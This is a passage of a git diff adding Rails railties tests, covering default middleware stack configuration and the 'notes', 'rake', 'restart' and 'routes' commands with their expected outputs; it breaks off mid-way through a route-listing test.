+      %w(ActionDispatch::Session::CookieStore ActionDispatch::Cookies),
+    ]
+
+    require "tsort"
+    sorted = TSort.tsort((middleware | dependencies.flatten).method(:each),
+                         lambda { |n, &b| dependencies.each { |m, *ds| ds.each(&b) if m == n } })
+    assert_equal sorted, middleware
+  end
+
+  test "ActionDispatch::HostAuthorization is not included if no hosts are configured" do
+    add_to_config "config.hosts = []"
+    boot!
+
+    assert_not_includes middleware, "ActionDispatch::HostAuthorization"
+  end
+
+  test "ActionDispatch::HostAuthorization is not included if hosts is set to nil" do
+    add_to_config "config.hosts = nil"
+    boot!
+
+    assert_not_includes middleware, "ActionDispatch::HostAuthorization"
+  end
+
+  test "ActionDispatch::HostAuthorization is included if hosts is set to IPAddr" do
+    add_to_config "config.hosts = IPAddr.new('0.0.0.0/0')"
+    boot!
+
+    assert_includes middleware, "ActionDispatch::HostAuthorization"
+  end
+
+  test "Rack::Cache is not included by default" do
+    boot!
+
+    assert_not_includes middleware, "Rack::Cache", "Rack::Cache is not included in the default stack unless you set config.action_dispatch.rack_cache"
+  end
+
+  test "Rack::Cache is present when action_dispatch.rack_cache is set" do
+    add_to_config "config.action_dispatch.rack_cache = true"
+
+    boot!
+
+    assert_includes middleware, "Rack::Cache"
+  end
+
+  test "ActiveRecord::Migration::CheckPending is present when active_record.migration_error is set to :page_load" do
+    add_to_config "config.active_record.migration_error = :page_load"
+
+    boot!
+
+    assert_includes middleware, "ActiveRecord::Migration::CheckPending"
+  end
+
+  test "ActionDispatch::AssumeSSL is present when assume_ssl is set" do
+    add_to_config "config.assume_ssl = true"
+    boot!
+    assert_includes middleware, "ActionDispatch::AssumeSSL"
+  end
+
+  test "ActionDispatch::SSL is present when force_ssl is set" do
+    add_to_config "config.force_ssl = true"
+    boot!
+    assert_includes middleware, "ActionDispatch::SSL"
+  end
+
+  test "silence healthcheck" do
+    add_to_config "config.silence_healthcheck_path = '/up'"
+    boot!
+    assert_includes middleware, "Rails::Rack::SilenceRequest"
+  end
+
+  test "ActionDispatch::SSL is configured with options when given" do
+    add_to_config "config.force_ssl = true"
+    add_to_config "config.ssl_options = { redirect: { host: 'example.com' } }"
+    boot!
+
+    assert_equal [{ redirect: { host: "example.com" }, ssl_default_redirect_status: 308 }], Rails.application.middleware[1].args
+  end
+
+  test "ActionDispatch::PermissionsPolicy::MiddlewareStack is included if permissions_policy set" do
+    add_to_config "config.permissions_policy { ActionDispatch::PermissionsPolicy.new }"
+    boot!
+
+    assert_includes middleware, "ActionDispatch::PermissionsPolicy::Middleware"
+  end
+
+  test "removing Active Record omits its middleware" do
+    use_frameworks []
+    boot!
+    assert_not_includes middleware, "ActiveRecord::Migration::CheckPending"
+  end
+
+  test "includes executor" do
+    boot!
+    assert_includes middleware, "ActionDispatch::Executor"
+  end
+
+  test "does not include lock if reload is disabled and eager_load enabled" do
+    add_to_config "config.enable_reloading = false"
+    add_to_config "config.eager_load = true"
+    boot!
+    assert_not_includes middleware, "Rack::Lock"
+  end
+
+  test "does not include lock if allow_concurrency is set to :unsafe" do
+    add_to_config "config.allow_concurrency = :unsafe"
+    boot!
+    assert_not_includes middleware, "Rack::Lock"
+  end
+
+  test "includes lock if allow_concurrency is disabled" do
+    add_to_config "config.allow_concurrency = false"
+    boot!
+    assert_includes middleware, "Rack::Lock"
+  end
+
+  test "removes static asset server if public_file_server.enabled is disabled" do
+    add_to_config "config.public_file_server.enabled = false"
+    boot!
+    assert_not_includes middleware, "ActionDispatch::Static"
+  end
+
+  test "can delete a middleware from the stack" do
+    add_to_config "config.middleware.delete ActionDispatch::Static"
+    boot!
+    assert_not_includes middleware, "ActionDispatch::Static"
+  end
+
+  test "can delete a middleware from the stack even if insert_before is added after delete" do
+    add_to_config "config.middleware.delete Rack::Runtime"
+    add_to_config "config.middleware.insert_before(Rack::Runtime, Rack::Config)"
+    boot!
+    assert_includes middleware, "Rack::Config"
+    assert_not middleware.include?("Rack::Runtime")
+  end
+
+  test "can delete a middleware from the stack even if insert_after is added after delete" do
+    add_to_config "config.middleware.delete Rack::Runtime"
+    add_to_config "config.middleware.insert_after(Rack::Runtime, Rack::Config)"
+    boot!
+    assert_includes middleware, "Rack::Config"
+    assert_not middleware.include?("Rack::Runtime")
+  end
+
+  test "includes exceptions middlewares even if action_dispatch.show_exceptions is disabled" do
+    add_to_config "config.action_dispatch.show_exceptions = :none"
+    boot!
+    assert_includes middleware, "ActionDispatch::ShowExceptions"
+    assert_includes middleware, "ActionDispatch::DebugExceptions"
+  end
+
+  test "removes ActionDispatch::Reloader if reload is disabled" do
+    add_to_config "config.enable_reloading = false"
+    boot!
+    assert_not_includes middleware, "ActionDispatch::Reloader"
+  end
+
+  test "use middleware" do
+    use_frameworks []
+    add_to_config "config.middleware.use Rack::Config"
+    boot!
+    assert_equal "Rack::Config", middleware.last
+  end
+
+  test "insert middleware after" do
+    add_to_config "config.middleware.insert_after Rack::Sendfile, Rack::Config"
+    boot!
+    assert_equal "Rack::Config", middleware.third
+  end
+
+  test "unshift middleware" do
+    add_to_config "config.middleware.unshift Rack::Config"
+    boot!
+    assert_equal "Rack::Config", middleware.first
+  end
+
+  test "Rails.cache does not respond to middleware" do
+    add_to_config "config.cache_store = :file_store, '/tmp/cache'"
+    boot!
+    assert_equal "Rack::Runtime", middleware[5]
+    assert_instance_of ActiveSupport::Cache::FileStore, Rails.cache
+  end
+
+  test "Rails.cache does respond to middleware" do
+    boot!
+    assert_equal "ActiveSupport::Cache::Strategy::LocalCache", middleware[5]
+    assert_equal "Rack::Runtime", middleware[6]
+  end
+
+  test "insert middleware before" do
+    add_to_config "config.middleware.insert_before Rack::Sendfile, Rack::Config"
+    boot!
+    assert_equal "Rack::Config", middleware.second
+  end
+
+  test "can't change middleware after it's built" do
+    boot!
+    assert_raise FrozenError do
+      app.config.middleware.use Rack::Config
+    end
+  end
+
+  # ConditionalGet + Etag
+  test "conditional get + etag middlewares handle http caching based on body" do
+    make_basic_app
+
+    class ::OmgController < ActionController::Base
+      def index
+        if params[:nothing]
+          render plain: ""
+        else
+          render plain: "OMG"
+        end
+      end
+    end
+
+    etag = "W/" + "c00862d1c6c1cf7c1b49388306e7b3c1".inspect
+
+    get "/"
+    assert_equal 200, last_response.status
+    assert_equal "OMG", last_response.body
+    assert_equal "text/plain; charset=utf-8", last_response.headers["Content-Type"]
+    assert_equal "max-age=0, private, must-revalidate", last_response.headers["Cache-Control"]
+    assert_equal etag, last_response.headers["Etag"]
+
+    get "/", {}, { "HTTP_IF_NONE_MATCH" => etag }
+    assert_equal 304, last_response.status
+    assert_equal "", last_response.body
+    assert_nil last_response.headers["Content-Type"]
+    assert_equal "max-age=0, private, must-revalidate", last_response.headers["Cache-Control"]
+    assert_equal etag, last_response.headers["Etag"]
+
+    get "/?nothing=true"
+    assert_equal 200, last_response.status
+    assert_equal "", last_response.body
+    assert_equal "text/plain; charset=utf-8", last_response.headers["Content-Type"]
+    assert_equal "no-cache", last_response.headers["Cache-Control"]
+    assert_nil last_response.headers["Etag"]
+  end
+
+  test "ORIGINAL_FULLPATH is passed to env" do
+    boot!
+    env = ::Rack::MockRequest.env_for("/foo/?something")
+    Rails.application.call(env)
+
+    assert_equal "/foo/?something", env["ORIGINAL_FULLPATH"]
+  end
+
+  test "database selector middleware is installed from application.rb" do
+    add_to_config "config.active_record.database_selector = { delay: 10 }"
+
+    boot!
+
+    assert_includes middleware, "ActiveRecord::Middleware::DatabaseSelector"
+  end
+
+  test "database selector middleware is installed from config/initializers" do
+    app_file "config/initializers/multi_db.rb", <<-RUBY
+      Rails.application.configure do
+        config.active_record.database_selector = { delay: 15.seconds }
+        config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
+        config.active_record.database_resolver_context = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session
+      end
+    RUBY
+
+    boot!
+
+    assert_includes middleware, "ActiveRecord::Middleware::DatabaseSelector"
+  end
+
+  test "shard selector middleware is installed by config option" do
+    add_to_config "config.active_record.shard_resolver = ->(*) { }"
+
+    boot!
+
+    assert_includes middleware, "ActiveRecord::Middleware::ShardSelector"
+  end
+
+  test "shard selector middleware is installed from config/initializers" do
+    app_file "config/initializers/multi_db.rb", <<-RUBY
+      Rails.application.configure do
+        config.active_record.shard_selector = { lock: true }
+        config.active_record.shard_resolver = ->(request) { Tenant.find_by!(host: request.host).shard }
+      end
+    RUBY
+
+    boot!
+
+    assert_includes middleware, "ActiveRecord::Middleware::ShardSelector"
+  end
+
+  private
+    def boot!
+      require "#{app_path}/config/environment"
+    end
+
+    def middleware
+      Rails.application.middleware.map(&:klass).map(&:name)
+    end
+end
diff --git a/railties/test/commands/notes_test.rb b/railties/test/commands/notes_test.rb
new file mode 100644
index 0000000000000..33b3dff52d751
--- /dev/null
+++ b/railties/test/commands/notes_test.rb
@@ -0,0 +1,174 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rails/command"
+
+class Rails::Command::NotesTest < ActiveSupport::TestCase
+  setup :build_app
+  teardown :teardown_app
+
+  test "`rails notes` displays results for default directories and default annotations with aligned line number and annotation tag" do
+    app_file "app/controllers/some_controller.rb", "# OPTIMIZE: note in app directory"
+    app_file "config/initializers/some_initializer.rb", "# TODO: note in config directory"
+    app_file "db/some_seeds.rb", "# FIXME: note in db directory"
+    app_file "lib/some_file.rb", "# TODO: note in lib directory"
+    app_file "test/some_test.rb", "\n" * 100 + "# FIXME: note in test directory"
+
+    app_file "some_other_dir/blah.rb", "# TODO: note in some_other directory"
+
+    assert_equal <<~OUTPUT, run_notes_command
+      app/controllers/some_controller.rb:
+        * [  1] [OPTIMIZE] note in app directory
+
+      config/initializers/some_initializer.rb:
+        * [  1] [TODO] note in config directory
+
+      db/some_seeds.rb:
+        * [  1] [FIXME] note in db directory
+
+      lib/some_file.rb:
+        * [  1] [TODO] note in lib directory
+
+      test/some_test.rb:
+        * [101] [FIXME] note in test directory
+
+    OUTPUT
+  end
+
+  test "`rails notes` displays an empty string when no results were found" do
+    assert_equal "", run_notes_command
+  end
+
+  test "`rails notes --annotations` displays results for a single annotation without being prefixed by a tag" do
+    app_file "db/some_seeds.rb", "# FIXME: note in db directory"
+    app_file "test/some_test.rb", "# FIXME: note in test directory"
+
+    app_file "app/controllers/some_controller.rb", "# OPTIMIZE: note in app directory"
+    app_file "config/initializers/some_initializer.rb", "# TODO: note in config directory"
+
+    assert_equal <<~OUTPUT, run_notes_command(["--annotations", "FIXME"])
+      db/some_seeds.rb:
+        * [1] note in db directory
+
+      test/some_test.rb:
+        * [1] note in test directory
+
+    OUTPUT
+  end
+
+  test "`rails notes --annotations` displays results for multiple annotations being prefixed by a tag" do
+    app_file "app/controllers/some_controller.rb", "# FOOBAR: note in app directory"
+    app_file "config/initializers/some_initializer.rb", "# TODO: note in config directory"
+    app_file "lib/some_file.rb", "# TODO: note in lib directory"
+
+    app_file "test/some_test.rb", "# FIXME: note in test directory"
+
+    assert_equal <<~OUTPUT, run_notes_command(["--annotations", "FOOBAR", "TODO"])
+      app/controllers/some_controller.rb:
+        * [1] [FOOBAR] note in app directory
+
+      config/initializers/some_initializer.rb:
+        * [1] [TODO] note in config directory
+
+      lib/some_file.rb:
+        * [1] [TODO] note in lib directory
+
+    OUTPUT
+  end
+
+  test "displays results from additional directories added to the default directories from a config file" do
+    app_file "db/some_seeds.rb", "# FIXME: note in db directory"
+    app_file "lib/some_file.rb", "# TODO: note in lib directory"
+    app_file "spec/spec_helper.rb", "# TODO: note in spec"
+    app_file "spec/models/user_spec.rb", "# TODO: note in model spec"
+
+    add_to_config "config.annotations.register_directories \"spec\""
+
+    assert_equal <<~OUTPUT, run_notes_command
+      db/some_seeds.rb:
+        * [1] [FIXME] note in db directory
+
+      lib/some_file.rb:
+        * [1] [TODO] note in lib directory
+
+      spec/models/user_spec.rb:
+        * [1] [TODO] note in model spec
+
+      spec/spec_helper.rb:
+        * [1] [TODO] note in spec
+
+    OUTPUT
+  end
+
+  test "displays results from additional file extensions added to the default extensions from a config file" do
+    add_to_config "config.assets.precompile = []"
+    add_to_config %q{ config.annotations.register_extensions("scss", "sass") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ } }
+    app_file "db/some_seeds.rb", "# FIXME: note in db directory"
+    app_file "app/assets/stylesheets/application.css.scss", "// TODO: note in scss"
+    app_file "app/assets/stylesheets/application.css.sass", "// TODO: note in sass"
+
+    assert_equal <<~OUTPUT, run_notes_command
+      app/assets/stylesheets/application.css.sass:
+        * [1] [TODO] note in sass
+
+      app/assets/stylesheets/application.css.scss:
+        * [1] [TODO] note in scss
+
+      db/some_seeds.rb:
+        * [1] [FIXME] note in db directory
+
+    OUTPUT
+  end
+
+  test "displays results from additional tags added to the default tags from a config file" do
+    app_file "app/models/profile.rb", "# TESTME: some method to test"
+    app_file "app/controllers/hello_controller.rb", "# DEPRECATEME: this action is no longer needed"
+    app_file "db/some_seeds.rb", "# TODO: default tags such as TODO are still present"
+
+    add_to_config 'config.annotations.register_tags "TESTME", "DEPRECATEME"'
+
+    assert_equal <<~OUTPUT, run_notes_command
+      app/controllers/hello_controller.rb:
+        * [1] [DEPRECATEME] this action is no longer needed
+
+      app/models/profile.rb:
+        * [1] [TESTME] some method to test
+
+      db/some_seeds.rb:
+        * [1] [TODO] default tags such as TODO are still present
+
+    OUTPUT
+  end
+
+  test "does not display results from tags that are neither default nor registered" do
+    app_file "app/models/profile.rb", "# TESTME: some method to test"
+    app_file "app/controllers/hello_controller.rb", "# DEPRECATEME: this action is no longer needed"
+    app_file "db/some_seeds.rb", "# TODO: default tags such as TODO are still present"
+    app_file "db/some_other_seeds.rb", "# BAD: this note should not be listed"
+
+    add_to_config 'config.annotations.register_tags "TESTME", "DEPRECATEME"'
+
+    assert_equal <<~OUTPUT, run_notes_command
+      app/controllers/hello_controller.rb:
+        * [1] [DEPRECATEME] this action is no longer needed
+
+      app/models/profile.rb:
+        * [1] [TESTME] some method to test
+
+      db/some_seeds.rb:
+        * [1] [TODO] default tags such as TODO are still present
+
+    OUTPUT
+  end
+
+  test "does not pick up notes inside string literals" do
+    app_file "app/models/profile.rb", '"# TODO: do something"'
+
+    assert_empty run_notes_command
+  end
+
+  private
+    def run_notes_command(args = [])
+      rails "notes", args
+    end
+end
diff --git a/railties/test/commands/rake_test.rb b/railties/test/commands/rake_test.rb
new file mode 100644
index 0000000000000..503807e4bb97b
--- /dev/null
+++ b/railties/test/commands/rake_test.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "env_helpers"
+require "rails/command"
+require "rails/commands/rake/rake_command"
+
+class Rails::Command::RakeTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation, EnvHelpers
+
+  setup :build_app
+  teardown :teardown_app
+
+  test "runs multiple tasks" do
+    app_file "lib/tasks/foo.rake", 'task(:foo) { puts "FOO!" }'
+    app_file "lib/tasks/bar.rake", 'task(:bar) { puts "BAR!" }'
+
+    output = run_rake_command "foo", "bar"
+    assert_match "FOO!", output
+    assert_match "BAR!", output
+  end
+
+  test "runs task with arguments" do
+    app_file "lib/tasks/hello.rake", <<~RUBY
+      namespace :greetings do
+        task :hello, [:name] do |task, args|
+          puts "Hello, \#{args.name}!"
+        end
+      end
+    RUBY
+
+    assert_match "Hello, World!", run_rake_command("greetings:hello[World]")
+  end
+
+  test "error report and re-raises when task raises" do
+    app_file "lib/tasks/exception.rake", 'task(:exception) { raise StandardError, "rake error" }'
+    app_file "config/initializers/error_subscriber.rb", <<-RUBY
+      class ErrorSubscriber
+        def report(error, handled:, severity:, context:, source: nil)
+          Rails.logger.error(source)
+        end
+      end
+
+      Rails.application.config.after_initialize do
+        Rails.error.subscribe(ErrorSubscriber.new)
+      end
+    RUBY
+    Rails.env = "test"
+    require "#{app_path}/config/environment"
+    assert_raises(StandardError) { run_rake_command("exception") }
+
+    logs = File.read("#{app_path}/log/test.log")
+    assert_match("rake_command.rails\n", logs)
+  end
+
+  private
+    def run_rake_command(*args, **options)
+      rails args, **options
+    end
+end
diff --git a/railties/test/commands/restart_test.rb b/railties/test/commands/restart_test.rb
new file mode 100644
index 0000000000000..42907aebbc57b
--- /dev/null
+++ b/railties/test/commands/restart_test.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rails/command"
+
+class Rails::Command::RestartTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+  setup :build_app
+  teardown :teardown_app
+
+  test "rails restart touches tmp/restart.txt" do
+    Dir.chdir(app_path) do
+      rails "restart"
+      assert File.exist?("tmp/restart.txt")
+
+      prev_mtime = File.mtime("tmp/restart.txt")
+      sleep(1)
+      rails "restart"
+      curr_mtime = File.mtime("tmp/restart.txt")
+      assert_not_equal prev_mtime, curr_mtime
+    end
+  end
+
+  test "rails restart should work even if tmp folder does not exist" do
+    Dir.chdir(app_path) do
+      FileUtils.remove_dir("tmp")
+      rails "restart"
+      assert File.exist?("tmp/restart.txt")
+    end
+  end
+end
diff --git a/railties/test/commands/routes_test.rb b/railties/test/commands/routes_test.rb
new file mode 100644
index 0000000000000..435ac92438eda
--- /dev/null
+++ b/railties/test/commands/routes_test.rb
@@ -0,0 +1,437 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rails/command"
+require "io/console/size"
+
+class Rails::Command::RoutesTest < ActiveSupport::TestCase
+  setup :build_app
+  teardown :teardown_app
+
+  test "singular resource output in rails routes" do
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        resource :post
+        resource :user_permission
+      end
+    RUBY
+
+    assert_equal <<~OUTPUT, run_routes_command([ "-c", "PostController" ])
+                             Prefix Verb   URI Pattern                                             Controller#Action
+                           new_post GET    /post/new(.:format)                                     posts#new
+                          edit_post GET    /post/edit(.:format)                                    posts#edit
+                               post GET    /post(.:format)                                         posts#show
+                                    PATCH  /post(.:format)                                         posts#update
+                                    PUT    /post(.:format)                                         posts#update
+                                    DELETE /post(.:format)                                         posts#destroy
+                                    POST   /post(.:format)                                         posts#create
+      rails_postmark_inbound_emails POST   /rails/action_mailbox/postmark/inbound_emails(.:format) action_mailbox/ingresses/postmark/inbound_emails#create
+    OUTPUT
+
+    assert_equal <<~OUTPUT, run_routes_command([ "-c", "UserPermissionController" ])
+                    Prefix Verb   URI Pattern                     Controller#Action
+       new_user_permission GET    /user_permission/new(.:format)  user_permissions#new
+      edit_user_permission GET    /user_permission/edit(.:format) user_permissions#edit
+           user_permission GET    /user_permission(.:format)      user_permissions#show
+                           PATCH  /user_permission(.:format)      user_permissions#update
+                           PUT    /user_permission(.:format)      user_permissions#update
+                           DELETE /user_permission(.:format)      user_permissions#destroy
+                           POST   /user_permission(.:format)      user_permissions#create
+    OUTPUT
+  end
+
+  test "rails routes with global search key" do
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get '/cart', to: 'cart#show'
+        post '/cart', to: 'cart#create'
+        get '/basketballs', to: 'basketball#index'
+      end
+    RUBY
+
+    assert_equal <<~MESSAGE, run_routes_command([ "-g", "show" ])
+                         Prefix Verb URI Pattern                                                                                       Controller#Action
+                           cart GET  /cart(.:format)                                                                                   cart#show
+  rails_conductor_inbound_email GET  /rails/conductor/action_mailbox/inbound_emails/:id(.:format)                                      rails/conductor/action_mailbox/inbound_emails#show
+             rails_service_blob GET  /rails/active_storage/blobs/redirect/:signed_id/*filename(.:format)                               active_storage/blobs/redirect#show
+       rails_service_blob_proxy GET  /rails/active_storage/blobs/proxy/:signed_id/*filename(.:format)                                  active_storage/blobs/proxy#show
+                                GET  /rails/active_storage/blobs/:signed_id/*filename(.:format)                                        active_storage/blobs/redirect#show
+      rails_blob_representation GET  /rails/active_storage/representations/redirect/:signed_blob_id/:variation_key/*filename(.:format) active_storage/representations/redirect#show
+rails_blob_representation_proxy GET  /rails/active_storage/representations/proxy/:signed_blob_id/:variation_key/*filename(.:format)    active_storage/representations/proxy#show
+                                GET  /rails/active_storage/representations/:signed_blob_id/:variation_key/*filename(.:format)          active_storage/representations/redirect#show
+             rails_disk_service GET  /rails/active_storage/disk/:encoded_key/*filename(.:format)                                       active_storage/disk#show
+    MESSAGE
+
+    assert_equal <<~MESSAGE, run_routes_command([ "-g", "POST" ])
+                                     Prefix Verb URI Pattern                                                            Controller#Action
+                                            POST /cart(.:format)                                                        cart#create
+              rails_postmark_inbound_emails POST /rails/action_mailbox/postmark/inbound_emails(.:format)                action_mailbox/ingresses/postmark/inbound_emails#create
+                 rails_relay_inbound_emails POST /rails/action_mailbox/relay/inbound_emails(.:format)                   action_mailbox/ingresses/relay/inbound_emails#create
+              rails_sendgrid_inbound_emails POST /rails/action_mailbox/sendgrid/inbound_emails(.:format)                action_mailbox/ingresses/sendgrid/inbound_emails#create
+              rails_mandrill_inbound_emails POST /rails/action_mailbox/mandrill/inbound_emails(.:format)                action_mailbox/ingresses/mandrill/inbound_emails#create
+               rails_mailgun_inbound_emails POST /rails/action_mailbox/mailgun/inbound_emails/mime(.:format)            action_mailbox/ingresses/mailgun/inbound_emails#create
+                                            POST /rails/conductor/action_mailbox/inbound_emails(.:format)               rails/conductor/action_mailbox/inbound_emails#create
+      rails_conductor_inbound_email_sources POST /rails/conductor/action_mailbox/inbound_emails/sources(.:format)       rails/conductor/action_mailbox/inbound_emails/sources#create
+      rails_conductor_inbound_email_reroute POST /rails/conductor/action_mailbox/:inbound_email_id/reroute(.:format)    rails/conductor/action_mailbox/reroutes#create
+   rails_conductor_inbound_email_incinerate POST /rails/conductor/action_mailbox/:inbound_email_id/incinerate(.:format) rails/conductor/action_mailbox/incinerates#create
+                       rails_direct_uploads POST /rails/active_storage/direct_uploads(.:format)                         active_storage/direct_uploads#create
+    MESSAGE
+
+    assert_equal <<~MESSAGE, run_routes_command([ "-g", "basketballs" ])
+           Prefix Verb URI Pattern            Controller#Action
+      basketballs GET  /basketballs(.:format) basketball#index
+    MESSAGE
+  end
+
+  test "rails routes with matching path" do
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        resources :photos
+        get '/cart', to: 'cart#show'
+        post '/cart', to: 'cart#create'
+        get '/basketballs', to: 'basketball#index'
+      end
+    RUBY
+
+    assert_equal <<~MESSAGE, run_routes_command([ "-g", "/cart" ])
+    Prefix Verb URI Pattern     Controller#Action
+      cart GET  /cart(.:format) cart#show
+           POST /cart(.:format) cart#create
+    MESSAGE
+
+    assert_equal <<~MESSAGE, run_routes_command([ "-g", "basketballs" ])
+           Prefix Verb URI Pattern            Controller#Action
+      basketballs GET  /basketballs(.:format) basketball#index
+    MESSAGE
+
+    assert_equal <<~MESSAGE, run_routes_command([ "-g", "/photos/7" ])
+    Prefix Verb   URI Pattern           Controller#Action
+     photo GET    /photos/:id(.:format) photos#show
+           PATCH  /photos/:id(.:format) photos#update
+           PUT    /photos/:id(.:format) photos#update
+           DELETE /photos/:id(.:format) photos#destroy
+    MESSAGE
+
+    assert_equal <<~MESSAGE, run_routes_command([ "-g", "/cats" ])
+    No routes were found for this grep pattern.
+    For more information about routes, see the Rails guide: https://guides.rubyonrails.org/routing.html.
+    MESSAGE
+  end
+
+  test "rails routes with controller search key" do
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get '/cart', to: 'cart#show'
+        get '/basketball', to: 'basketball#index'
+        get '/user_permission', to: 'user_permission#index'
+      end
+    RUBY
+
+    expected_cart_output = "Prefix Verb URI Pattern     Controller#Action\n  cart GET  /cart(.:format) cart#show\n"
+    output = run_routes_command(["-c", "cart"])
+    assert_equal expected_cart_output, output
+
+    output = run_routes_command(["-c", "Cart"])
+    assert_equal expected_cart_output, output
+
+    output = run_routes_command(["-c", "CartController"])
+    assert_equal expected_cart_output, output
+
+    expected_perm_output = ["         Prefix Verb URI Pattern                Controller#Action",
+                            "user_permission GET  /user_permission(.:format) user_permission#index\n"].join("\n")
+    output = run_routes_command(["-c", "user_permission"])
+    assert_equal expected_perm_output, output
+
+    output = run_routes_command(["-c", "UserPermission"])
+    assert_equal expected_perm_output, output
+
+    output = run_routes_command(["-c", "UserPermissionController"])
+    assert_equal expected_perm_output, output
+  end
+
+  test "rails routes with namespaced controller search key" do
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        namespace :admin do
+          resource :post
+          resource :user_permission
+        end
+      end
+    RUBY
+
+    assert_equal <<~OUTPUT, run_routes_command([ "-c", "Admin::PostController" ])
+               Prefix Verb   URI Pattern                Controller#Action
+       new_admin_post GET    /admin/post/new(.:format)  admin/posts#new
+      edit_admin_post GET    /admin/post/edit(.:format) admin/posts#edit
+           admin_post GET    /admin/post(.:format)      admin/posts#show
+                      PATCH  /admin/post(.:format)      admin/posts#update
+                      PUT    /admin/post(.:format)      admin/posts#update
+                      DELETE /admin/post(.:format)      admin/posts#destroy
+                      POST   /admin/post(.:format)      admin/posts#create
+    OUTPUT
+
+    assert_equal <<~OUTPUT, run_routes_command([ "-c", "PostController" ])
+                             Prefix Verb   URI Pattern                                             Controller#Action
+                     new_admin_post GET    /admin/post/new(.:format)                               admin/posts#new
+                    edit_admin_post GET    /admin/post/edit(.:format)                              admin/posts#edit
+                         admin_post GET    /admin/post(.:format)                                   admin/posts#show
+                                    PATCH  /admin/post(.:format)                                   admin/posts#update
+                                    PUT    /admin/post(.:format)                                   admin/posts#update
+                                    DELETE /admin/post(.:format)                                   admin/posts#destroy
+                                    POST   /admin/post(.:format)                                   admin/posts#create
+      rails_postmark_inbound_emails POST   /rails/action_mailbox/postmark/inbound_emails(.:format) action_mailbox/ingresses/postmark/inbound_emails#create
+    OUTPUT
+
+    expected_permission_output = <<~OUTPUT
+                          Prefix Verb   URI Pattern                           Controller#Action
+       new_admin_user_permission GET    /admin/user_permission/new(.:format)  admin/user_permissions#new
+      edit_admin_user_permission GET    /admin/user_permission/edit(.:format) admin/user_permissions#edit
+           admin_user_permission GET    /admin/user_permission(.:format)      admin/user_permissions#show
+                                 PATCH  /admin/user_permission(.:format)      admin/user_permissions#update
+                                 PUT    /admin/user_permission(.:format)      admin/user_permissions#update
+                                 DELETE /admin/user_permission(.:format)      admin/user_permissions#destroy
+                                 POST   /admin/user_permission(.:format)      admin/user_permissions#create
+    OUTPUT
+
+    assert_equal expected_permission_output, run_routes_command([ "-c", "Admin::UserPermissionController" ])
+    assert_equal expected_permission_output, run_routes_command([ "-c", "UserPermissionController" ])
+  end
+
+  test "rails routes displays message when no routes are defined" do
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+      end
+    RUBY
+
+    assert_equal <<~MESSAGE, run_routes_command
+                                  Prefix Verb URI Pattern                                                                                       Controller#Action
+           rails_postmark_inbound_emails POST /rails/action_mailbox/postmark/inbound_emails(.:format)                                           action_mailbox/ingresses/postmark/inbound_emails#create
+              rails_relay_inbound_emails POST /rails/action_mailbox/relay/inbound_emails(.:format)                                              action_mailbox/ingresses/relay/inbound_emails#create
+           rails_sendgrid_inbound_emails POST /rails/action_mailbox/sendgrid/inbound_emails(.:format)                                           action_mailbox/ingresses/sendgrid/inbound_emails#create
+     rails_mandrill_inbound_health_check GET  /rails/action_mailbox/mandrill/inbound_emails(.:format)                                           action_mailbox/ingresses/mandrill/inbound_emails#health_check
+           rails_mandrill_inbound_emails POST /rails/action_mailbox/mandrill/inbound_emails(.:format)                                           action_mailbox/ingresses/mandrill/inbound_emails#create
+            rails_mailgun_inbound_emails POST /rails/action_mailbox/mailgun/inbound_emails/mime(.:format)                                       action_mailbox/ingresses/mailgun/inbound_emails#create
+          rails_conductor_inbound_emails GET  /rails/conductor/action_mailbox/inbound_emails(.:format)                                          rails/conductor/action_mailbox/inbound_emails#index
+                                         POST /rails/conductor/action_mailbox/inbound_emails(.:format)                                          rails/conductor/action_mailbox/inbound_emails#create
+       new_rails_conductor_inbound_email GET  /rails/conductor/action_mailbox/inbound_emails/new(.:format)                                      rails/conductor/action_mailbox/inbound_emails#new
+           rails_conductor_inbound_email GET  /rails/conductor/action_mailbox/inbound_emails/:id(.:format)                                      rails/conductor/action_mailbox/inbound_emails#show
+new_rails_conductor_inbound_email_source GET  /rails/conductor/action_mailbox/inbound_emails/sources/new(.:format)                              rails/conductor/action_mailbox/inbound_emails/sources#new
+   rails_conductor_inbound_email_sources POST /rails/conductor/action_mailbox/inbound_emails/sources(.:format)                                  rails/conductor/action_mailbox/inbound_emails/sources#create
+   rails_conductor_inbound_email_reroute POST /rails/conductor/action_mailbox/:inbound_email_id/reroute(.:format)                               rails/conductor/action_mailbox/reroutes#create
+rails_conductor_inbound_email_incinerate POST /rails/conductor/action_mailbox/:inbound_email_id/incinerate(.:format)                            rails/conductor/action_mailbox/incinerates#create
+                      rails_service_blob GET  /rails/active_storage/blobs/redirect/:signed_id/*filename(.:format)                               active_storage/blobs/redirect#show
+                rails_service_blob_proxy GET  /rails/active_storage/blobs/proxy/:signed_id/*filename(.:format)                                  active_storage/blobs/proxy#show
+                                         GET  /rails/active_storage/blobs/:signed_id/*filename(.:format)                                        active_storage/blobs/redirect#show
+               rails_blob_representation GET  /rails/active_storage/representations/redirect/:signed_blob_id/:variation_key/*filename(.:format) active_storage/representations/redirect#show
+         rails_blob_representation_proxy GET  /rails/active_storage/representations/proxy/:signed_blob_id/:variation_key/*filename(.:format)    active_storage/representations/proxy#show
+                                         GET  /rails/active_storage/representations/:signed_blob_id/:variation_key/*filename(.:format)          active_storage/representations/redirect#show
+                      rails_disk_service GET  /rails/active_storage/disk/:encoded_key/*filename(.:format)                                       active_storage/disk#show
+               update_rails_disk_service PUT  /rails/active_storage/disk/:encoded_token(.:format)                                               active_storage/disk#update
